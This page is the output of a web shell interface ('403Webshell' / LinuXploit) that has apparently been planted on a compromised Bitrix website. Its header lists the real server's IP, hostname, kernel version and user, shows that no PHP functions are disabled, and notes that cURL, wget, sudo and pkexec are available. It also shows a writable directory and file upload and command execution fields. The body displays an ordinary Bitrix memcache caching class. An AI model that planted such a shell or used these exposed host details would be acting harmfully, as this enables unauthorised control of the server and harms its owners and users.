403Webshell
Server IP : 80.87.202.40  /  Your IP : 216.73.216.169
Web Server : Apache
System : Linux rospirotorg.ru 5.14.0-539.el9.x86_64 #1 SMP PREEMPT_DYNAMIC Thu Dec 5 22:26:13 UTC 2024 x86_64
User : bitrix ( 600)
PHP Version : 8.2.27
Disable Function : NONE
MySQL : OFF |  cURL : ON |  WGET : ON |  Perl : ON |  Python : OFF |  Sudo : ON |  Pkexec : ON
Directory :  /home/bitrix/ext_www/rospirotorg.ru/bitrix/modules/main/lib/data/

Upload File :
current_dir [ Writeable] document_root [ Writeable]

 

Command :


[ Back ]     

Current File : /home/bitrix/ext_www/rospirotorg.ru/bitrix/modules/main/lib/data/cacheenginememcache.php
<?php

namespace Bitrix\Main\Data;

use Bitrix\Main\Config\Configuration;
use Bitrix\Main\Data\LocalStorage\Storage;

class CacheEngineMemcache extends Cache\KeyValueEngine implements Storage\CacheEngineInterface
{
	public function getConnectionName(): string
	{
		return 'cache.memcache';
	}

	public static function getConnectionClass()
	{
		return MemcacheConnection::class;
	}

	protected function configure($options = []): array
	{
		$config = parent::configure($options);

		$cacheConfig = Configuration::getValue('cache');

		$config['persistent'] = true;
		if (isset($cacheConfig['persistent']) && $cacheConfig['persistent'] == 0)
		{
			$config['persistent'] = false;
		}

		if (isset($cacheConfig['connectionTimeout']))
		{
			$config['connectionTimeout'] = (int)$cacheConfig['connectionTimeout'];
		}

		return $config;
	}

	protected static function getExpire($ttl)
	{
		$ttl = (int) $ttl;
		if ($ttl > 2592000)
		{
			$ttl = microtime(1) + $ttl;
		}

		return $ttl;
	}

	public function set($key, $ttl, $value)
	{
		$ttl = self::getExpire($ttl);
		return self::$engine->set($key, $value, 0, $ttl);
	}

	public function get($key)
	{
		return self::$engine->get($key);
	}

	public function del($key)
	{
		if (is_array($key))
		{
			foreach ($key as $item)
			{
				self::$engine->delete($item);
			}
		}
		else
		{
			self::$engine->delete($key);
		}
	}

	public function setNotExists($key, $ttl, $value)
	{
		$ttl = self::getExpire($ttl);
		return self::$engine->add($key, $value, null, $ttl);
	}

	public function checkInSet($key, $value) : bool
	{
		$list = self::$engine->get($key);

		if (!is_array($list))
		{
			$list = [];
		}

		if (array_key_exists($value, $list))
		{
			return true;
		}

		return false;
	}

	public function addToSet($key, $value)
	{
		$list = self::$engine->get($key);

		if (!is_array($list))
		{
			$list = [];
		}

		if (!array_key_exists($value, $list))
		{
			$list[$value] = 1;
			$this->set($key, 0, $list);
		}
	}

	public function getSet($key): array
	{
		$list = self::$engine->get($key);
		if (!is_array($list) || empty($list))
		{
			return [];
		}

		return array_keys($list);
	}

	public function deleteBySet($key, $prefix = '')
	{
		$list = self::$engine->get($key);
		self::$engine->delete($key);

		if (is_array($list) && !empty($list))
		{
			array_walk($list, function ($value, $key) {
				self::$engine->delete($key);
			});
			unset($list);
		}
	}

	public function delFromSet($key, $member)
	{
		$list = self::$engine->get($key);

		if (is_array($list) && !empty($list))
		{
			$rewrite = false;
			if (!is_array($member))
			{
				$member = [0 => $member];
			}

			foreach ($member as $keyID)
			{
				if (array_key_exists($keyID, $list))
				{
					$rewrite = true;
					unset($list[$keyID]);
				}
			}

			if ($rewrite)
			{
				if (empty($list))
				{
					self::$engine->delete($key);
				}
				else
				{
					$this->set($key, 0, $list);
				}
			}
			unset($list);
		}
	}
}

Youez - 2016 - github.com/yon3zu
LinuXploit